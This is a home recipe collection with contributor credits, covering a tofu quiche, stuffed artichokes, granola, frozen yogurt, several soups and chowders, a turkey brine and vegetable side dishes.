Serves: 6 **Time-- Preparation:** 15 min **Temperature:** 325
Season: Everyday **Cooking:** 35-45 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	oat	flour
1.5	cup		flour
0.5	cup		shortening
0.5	cup		sour cream
0.5	cup	grated	mozerrela cheese
2			eggs
5	bulbs		baby bok choy or other vegi
1	block		tofu
0.25	cup		heavy cream
			seasonings to taste
0.25	cup		flour

Instructions:

Cut shortening into flours. Cut sour cream into shortening/flour mix. Pat and form into quiche dish.

Mix tofu, cheese, eggs, bok choy, cream, flour and seasoning in a large bowl. Pour into quiche shell. Sprinkle with paprika and top with garnish.

Bake at 325 until top just begins to brown.

Tofu Quiche

Stuffed Artichokes

Side dish

Recipe from: Gwen Powell

Vegetable

Serves: 4 **Time-- Preparation:** 1 hour **Temperature:** 250**Season:** Everyday **Cooking:** 1 hour Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		corn flakes
			spices to taste
0.25	cup		sour cream
2			artichokes
0.25	cup	grated	jack cheese
0.25	cup		feta cheese

Instructions:

Wash and boil artichokes until tender. Cut off and keep stem. Cut artichokes in half. Remove the furry part in the center and discard. Mash up stem, feta, sour cream, cheese, spices and corn flakes together. Stuff center of artichokes with mixture. Top with more cheese and butter. Bake for 15 minutes and serve.

Stuffed Artichokes

Peanut Butter S'more Snack

Snacks

Recipe from: Laura Abaloe

Serves: 1 *Time-- Preparation:* 2 min **Temperature:**
Season: BBQ **Cooking:** none Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

-
- 2 big spoonfuls of chunky peanut butter

 - 1 squeeze of honney

 - 1 squeeze of chocolate syrup

 - 1 big spray of whipped cream

<p>First start by plopping the pb into a bowl. Continue with adding the honey and chocolate on top. Finish by topping the glob with the nice and fluffy whipped cream. this has become a favorite snack of mine, especially when i need an energy boost.

Froghurt

Snacks

Recipe from: Gwen Powell

Dessert

Healthy frozen snack from Gwen's spinning friend Diane Wallihan

Serves: 2 quarts **Time-- Preparation:** 30 min **Temperature:** 0**Season:** Summer **Cooking:** 0 Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
0.75	cup		sugar
2	tbl		sugar
1	pinch		salt
1	cup		milk
1		beaten	egg
1.5	tsp		vanilla
2	cup		yoghurt
1	serv.		flavoring of choice (berries, choc.)

Instructions:

Combine sugar, flour and salt in a saucepan. Stir in milk and blend in eggs. Cook over medium heat, stirring constantly, until mixture boils; boil one minutes.

Cool.

Add vanilla, yogurt and flavoring. Fill chilled ice cream containers 2/3 full. Freeze in ice cream freezer according to manufacturer's directions.

Quickly Seasoned Almonds

Snacks

Recipe from: Sue Paulding

Grains

Serves: 1 pound **Time-- Preparation:** 0 **Temperature:** 325**Season:** Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound	whole	blanched/unblanched almonds
1	tbl		butter or margarine
1			egg white
1	tbl		Kosher salt, season salt or Mexican seasonings or
2	tbl		grated Parmesan cheese with garlic powder

Instructions:

Grease a rimmed baking sheet with butter; set aside.

In medium bowl, beat egg white until frothy. Stir in nuts and one of the seasonings listed. Spread coated nuts on the prepared pan, bake in 325 oven 20 minutes or until nuts are shiny and golden brown.

Blanched Almonds

Snacks

Recipe from: Sue Paulding

Grains

Serves: *Time--* Preparation: 0 **Temperature:** 300

Season: Everyday **Cooking:** 10 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
		fresh, shelled	Amonds

Instructions:

Place almonds in a bowl and pour over enough boiling water to cover; let stand 30 seconds then drain. Rinse with cold water and drain thoroughly. slip off skins. Pat dry with paper towels and spread in rimmed baking sheet. Bake in a 300 oven for 10 minutes until crisp. Cool.

Granola

Snacks

Recipe from: Laura Abaloe

Grains

Serves: 2 quarts **Time-- Preparation:** 0 **Temperature:** 300**Season:** Everyday **Cooking:** 20-30 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
5	cup		rolled oats
0.75	cup		wheat germ
1	cup		wheat bran
1.5	cup	slivered	almonds
0.5	cup		nonfat dry milk
0.5	cup		honey
0.25	cup		brown sugar (or more)
0.25	cup		oil
0.75	cup		water
0.5	tsp		salt
1.25	tsp		cinnamon
0.25	tsp		nutmeg
2	tsp		vanilla

Instructions:

Mix oats, wheat germ, wheat bran, almonds and dry milk together in large bowl. Mix together and heat in saucepan until sugar is dissolved (do not boil) the honey, brown sugar, oil, water, salt, cinnamon, nutmeg and vanilla. combine dry mixture and liquids and mix until evenly moistened. Spread mixture in two 13 by 9 baking pans. Bake 20-30 minutes stirring occasionally. Be careful not to burn. Cool on racks. Stir in 2 cups of raisins.

Granola

Granola

Snacks

Recipe from: Sue Paulding

Grains

Not as fancy as Laura's

Serves: *Time--* **Preparation:** 10 min **Temperature:** 350
Season: Everyday **Cooking:** 20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		margarine
0.5	cup		honey or brown sugar
1	tsp		baking soda
2	tsp		vanilla
4	cup		quick oats
1	cup		raisins
0.5	cup		nuts if desired

Instructions:

Mix all together and spread in 13 by 9 inch baking pan. Bake at 350 for 20 minutes.

Granola

Old Russian Borscht

Soup

Recipe from: Sue Paulding**Serves:** **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cup		jellied consomme'
1.5	cup	finely chopped	cooked beets with juice
1	cup		sour cream
1	tbl	finely chopped	chives
0.5	cup		vodka
			salt & pepper to taste

Instructions:

Combine all ingredients and heat to desired temperature. Serve with something good.

Sicilian Soup

Soup

Recipe from: Sue Paulding

From Erin

Serves: 6 **Time-- Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 30 min Boil

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound	sweet	Italian Sausage
1	large	chopped	onion
1	28 oz	can	crushed peeled tomatoes
1	16 oz	can/chopped	Italian peeled tomatoes w/Basil
2	can		chicken broth
1	tsp	dried/crushed	leaf basil
0.5	cup		orzo(rice-shaped soup macaroni)
2	med.	sliced	zucchini
0.5	tsp		salt
0.25	tsp		pepper

Instructions:

Cook sausage in large saucepan until browned. Add chopped onion and sauté. Add tomatoes, broth and basil; bring to boiling. Stir in orzo and zucchini. Salt and pepper to taste. Lower heat; simmer 20 to 30 minutes or until orzo and zucchini are tender.

Tomato Meatball Soup

Soup

Recipe from: Linda Lokkart

Serves: **Time-- Preparation:** **Temperature:** simmer
Season: Everyday **Cooking:** Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2	large	cans	beef broth
			water to make 2 quarts
1	tsp		salt
3	tbl		apple cider vinegar
2	tsp		top ramen seasoning (beef)
1	tsp		pepper
1	tsp		thyme
1	tsp		parsley
1			bay leaf
0.5	tsp		mace
1		chopped	onion
1			stalk celery
1	12 oz	can	tomato paste
3		or 4	rolls of coil fideo pasta
1	pound	cooked	mini meatballs

Instructions:

Bring beef broth, salt, vinegar, top ramen seasoning, pepper, thyme, parsley, bay leaf, mace, onion and celery stalk to a boil then lower temperature and simmer for two hours. Add one 12 oz can of tomato paste, 3-4 rolls of coil fideo pasta and 1 pound of mini meatballs. Simmer 15 more minutes and serve.

Seafood Chowder

Soup

Recipe from: Gwen Powell

Basic Seafood Chowder from fish, clams or whatever.

Serves: 4 **Time-- Preparation:** 10 minutes **Temperature:** medium
Season: Everyday **Cooking:** 15 minutes Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
16	oz	chopped	seafood
3	stocks	chopped	green onion
1	stock	chopped	celery
4	tbl		seasoned olive oil
1	large		potato or equivalent (finger are good)
1.5	cup		heavy whipping cream
2	tbl		flour
1	loaf	round	sourdough bread (optional)
0.25	tsp		Sea salt
0.5	tsp		fresh ground pepper

Instructions:

I like the frozen packages of mixed seafood (scallops, calamari, shrimp) that is available at Trader Joes but any mix works well with the recipe. Thaw, drain and pat the seafood dry.

Chop the onion and celery.

I like small finger potatoes or small rose or small purple potatoes cut down to about marble size.

I make my own seasoned olive oil. Refer to that recipe.

In a 4 quart saucepan brown the green onion and celery in a tablespoon of the oil over medium heat.

In a skillet cook and brown the chopped potatoes in a tablespoon of the oil and add to the cooked onion and celery.

Now in the same skillet that browned the potatoes, lightly cook the seafood in 2 tablespoons of the oil then add to the other mixture in the 4 quart saucepan.

Add the cream and flour and simmer until thickened. Salt and pepper to taste. Keep warm until ready to serve.

Optional:

Cut the top off the sourdough loaf and hollow out the inside. Keep the bread and place it around the outside of the loaf. Fill the hollow loaf with the chowder and serve. Sprinkle with fresh chopped parsley to add color if you wish.

Seafood Chowder

Smoked Bacon Chicken Soup

Soup

Recipe from: Gwen Powell

Savory soup for a cold day.

Serves: 4 **Time-- Preparation:** 30 minutes **Temperature:** 'ot 8 Hours

Season: BBQ **Cooking:** 8 hours Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5		cut up	chicken
0.25	cup	chopped	smoked bacon
1	cup	chopped	vegetables
0.66	cup	cooked	rice OR
1	small pack	dry	pasta

Instructions:

If the bacon is very fatty reduce the amount you use. Cut up bacon and place in fry pan with chicken. Cook on Medium heat until browned. Place this in a crockpot and cover with water. Simmer for about 6 hours. Remove all bones, now! Add salt/pepper and seasonings to taste. After an hour, add fresh cut up vegetables. Thirty minutes before serving add dry noodles or cooked rice. Serve hot with fresh bread as a whole meal or in small bowls as a side dish.

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You can substitute turkey or duck for the chicken. <p>

This recipe freezes well.

Ann's Mushroom Soup

Soup

Recipe from: Ann Kubota

Cream of Mushroom Soup

Serves: 4-6 **Time-- Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	finely minced	onions
8	tbls		butter
3	tbls		four
4	cups		hot water
8	cups		milk
4	tsp		salt
1	pinch		white pepper
1	pinch		tarragon
6	cups	fresh whole	mushrooms
0.5	cup		heavy cream
4	tbls	soft	butter
3	tbls	minced fresh	tarragon

Instructions:

Cook onions slowly in the butter for 8 to 10 minutes until tender but not browned. Add the flour and cook, stirring for 1 minutes. Remove from heat and blend in 1/2 cup of hot water with a wire wip. Gradually beat in the rest of the hot water, milk, seasonings and tarragon. Bring to simmer, stirring with wire whip; simmer very slowly for several minutes while preparing the mushrooms.

Trim and wash the mushrooms. If you are using a food mill with grating disk, chop the mushrooms roughly and grate directly into the soup base. If using a blender, chop roughly and blend 1/2 cup at a time with an equal amount of soup base, flicking switch on and off rapidly to avoid too fine a puree. Otherwise, chop the mushrooms into 1/8-inch pieces then add to soup.

Simmer the soup, partially covered for 25 minutes. Add more liquid if soup seems too thick; then stir in the cream. Carefully correct seasoning, adding drops of lemon juice if you feel they are needed.

Bring soup to a simmer again just before serving. Remove from heat and stir in first the butter then the herbs.

Ann's Mushroom Soup

Corn Chowder

Soup

Recipe from: Sue Paulding

Vegetable

Serves: *Time--* **Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 **Simmer**

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	pound	diced	bacon
1	medium	chopped	red onion
0.5	cup	chopped	celery with tops
1	tbl		flour
4	cup		milk
2	can		cream corn
1	pound	diced	potatoes
1	tsp		Mrs. Dash
1	dash		parsley

Instructions:

In a large saucepan, fry bacon until crisp, drain off excess grease. Add onion, celery and cook until tender. Add flour and cook until blended well. Stir in milk. Heat to boiling, stirring constantly. Boil and stir one minutes Stir in corn, potatoes and seasoning. heat thoroughly.

Turkey Brine

Turkey

Recipe from: Gwen Powell

Entrée

Brine to be used with Turkey or Chicken

Serves: _____ **Time-- Preparation:** 30 min **Temperature:** Room

Season: Holiday **Cooking:** 0 **Refrigerate**

QTY.	MEAS.	PREP.	INGREDIENTS
1	cab	concentrated	Apple juice
2		oranges	cut in half
0.5	cup		orange zest from oranges above
0.25	cup	whole	cloves
1.5	cup	kosher	salt
1	cup		brown sugar
5	sticks		cinnamon
2	cups		water

Instructions:

Add all ingredients to a large pot. Simmer until all the sugar and salt is dissolved. Add additional water as necessary to dissolve the salt and sugar.

Pour 1/2 the mixture into a large clean bucket. The bucket must be big enough for the entire bird to be placed in it but still fit in the refrigerator or ice chest. Add ice and stir until all the ice is melted and the liquid is below room temperature.

Add defrosted, clean bird breast down. Add remaining liquid and top with ice water to completely cover the bird.

Can be left in the cold for 10 hours. Refrigerate if it is more than 10 hours.

Variations to this recipe include adding other herbs.

Turkey Brine

Creamed Spinach

Vegetable

Recipe from: Cathy Paulson

Creamed Spinach a la Lawry's

Serves: 4-6	Time-- Preparation: 0	Temperature: 0
Season: Everyday	Cooking: 0	

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

2 pkgs. (10 oz. each) frozen chopped spinach, thawed
4 slices bacon
1 small onion, minced
2 cloves garlic, minced
2 tablespoons flour
1 teaspoon Lawry's Seasoned Salt
1/2 teaspoon freshly ground black pepper, or to taste
2 cups milk

Drain spinach well and squeeze out excess moisture with hands; chop finely and set aside. Fry bacon in heavy skillet until crisp; remove, drain and chop. Sauté onion and garlic in bacon drippings; add flour, Seasoned Salt and pepper and blend thoroughly. Slowly add milk, stirring constantly until thickened. Add spinach and bacon; heat.

Makes 4 to 6 servings.

Creamed Spinach

Mushroom Asparagus

Vegetable

Recipe from: Gwen Powell

Steam Asparagus with Mushroom Sauce loan

Serves: 6 **Time-- Preparation:** 30 **Temperature:** 0
Season: Everyday **Cooking:** 30 Steam

QTY.	MEAS.	PREP.	INGREDIENTS
1	lb	fresh	Asparagus--About 4 large spear each
0.5	cup	real	butter
0.25	cup		flour
1	cup	dryed	Shitake mushrooms
1	tbls	fresh	taragon
0.25	tsp		pepper
1	cup	very hot	water
1	cup	dry	white wine (pinot gris or sauvignon blanc)

Instructions:

Place dehydrated mushroom in bowl. Add 1 cup boiling water and 1/2 cup of white wine. Cover in such a way that mushrooms are submerged in liquid. You want just enough liquid to cover the mushroom. Let set for at least 30 minutes.

Remove the softened mushroom and squeeze the excess moisture back into the bowl. You want to retain all the liquid.

Slice the mushrooms thinly and remove the stem as you work.

In a saucepan make a roux of the butter and flour (melt butter, slowly stir in flour until thick and pasty). Add about 1/2 the liquid from the mushroom and continue to simmer until a smooth consistency. Add the taragon and white pepper. Add the mushroom. Add enough white wine to achieve desired consistency.

While you are making the sauce, prepare and steam the asparagus to the texture you desire. I like them barely cooked.

Pour the mushroom sauce over the asparagus and serve. Or you can refrigerate for a day or two and reheat in a microwave.

Mushroom Asparagus